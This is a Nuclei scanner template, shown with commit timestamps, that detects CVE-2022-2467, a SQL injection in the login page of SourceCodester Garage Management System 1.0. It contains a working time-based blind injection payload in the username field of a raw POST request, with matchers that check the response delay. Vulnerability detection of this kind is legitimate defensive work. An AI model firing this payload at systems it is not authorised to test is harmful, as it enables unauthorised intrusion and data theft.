nuclei-templates/cves/2022/CVE-2022-2467.yaml

46 lines
1.6 KiB
YAML
Raw Normal View History

2022-10-01 10:23:03 +00:00
id: CVE-2022-2467
info:
name: SourceCodester Garage Management System 1.0 - SQL Injection
author: edoardottt
severity: critical
description: |
A vulnerability has been found in SourceCodester Garage Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /login.php. The manipulation of the argument username with the input 1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
reference:
- https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Garage-Management-System.md
2022-10-04 09:27:40 +00:00
- https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
2022-10-01 10:23:03 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-2467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-01 10:23:03 +00:00
cve-id: CVE-2022-2467
cwe-id: CWE-89
2022-10-04 09:27:40 +00:00
metadata:
verified: "true"
2022-10-05 07:50:00 +00:00
tags: cve,cve2022,sourcecodester,garagemanagementsystem,sqli
2022-10-01 10:23:03 +00:00
requests:
- raw:
- |
2022-10-05 07:50:00 +00:00
@timeout: 10s
2022-10-01 10:23:03 +00:00
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-10-04 09:27:40 +00:00
username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334
2022-10-01 10:23:03 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
2022-10-04 09:27:40 +00:00
- type: word
part: body
words:
- 'Garage Billing Software'
2022-10-01 10:23:03 +00:00
- type: status
status:
2022-10-01 13:48:34 +00:00
- 200